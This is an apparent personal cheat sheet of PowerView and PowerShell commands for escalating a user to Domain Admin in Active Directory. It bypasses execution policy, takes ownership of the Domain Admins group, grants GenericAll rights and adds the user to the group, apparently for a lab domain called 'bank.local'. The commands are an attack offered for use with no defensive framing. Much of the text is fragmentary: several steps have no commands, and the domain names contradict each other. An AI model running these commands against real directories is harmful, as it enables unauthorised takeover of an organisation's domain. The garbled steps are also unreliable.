Powerview_cheet

Power view cheat sheet

Commands

Note: Domain = bank.local, User = goodboy

powershell -ep bypass
Import-Module .\PowerView.ps1
Set-DomainObjectOwner -Identity 'Domain Admins' -OwnerIdentity 'goodboy'
Add-DomainObjectAcl -Rights 'All' -TargetIdentity "Domain Admins" -PrincipalIdentity "goodboy"
net group "domain admins" goodboy /add /domain

Import the AD module (requires RSAT or AD PowerShell tools)

Import-Module ActiveDirectory

Now try the command again

$acl = Get-Acl "AD:\CN=Domain Admins,CN=Users,DC=bank,DC=com"
$groupDN = "LDAP://CN=Domain Admins,CN=Users,DC=bank,DC=com"
$acl = [System.DirectoryServices.DirectoryEntry]::new($groupDN).ObjectSecurity
  • Create the AD: drive if missing

  • Now get ACL

  • Take ownership

  • Add self to group

Key Explanations:

Permission Why Needed

  • Modify owner

  • Modify permissions

  • Write properties

1. with ✔ Modify permissions

  • Note: (If blocked by execution policy, run: Set-ExecutionPolicy Bypass -Scope Process -Force first)

  • Verify if 'bb2' has WriteDACL on Domain Admins

  • Add GenericAll permission

  • Add your account to the group

  • Verify

2. with permission - write all properties ✔ is only enabled

if powerview fails

3. with permissions - ✔ modify owner is only enabled

  • or download the script and run by import

  • 1.Take ownership

  • 2.Grant yourself Generic All

  • 3.Add to group

Last updated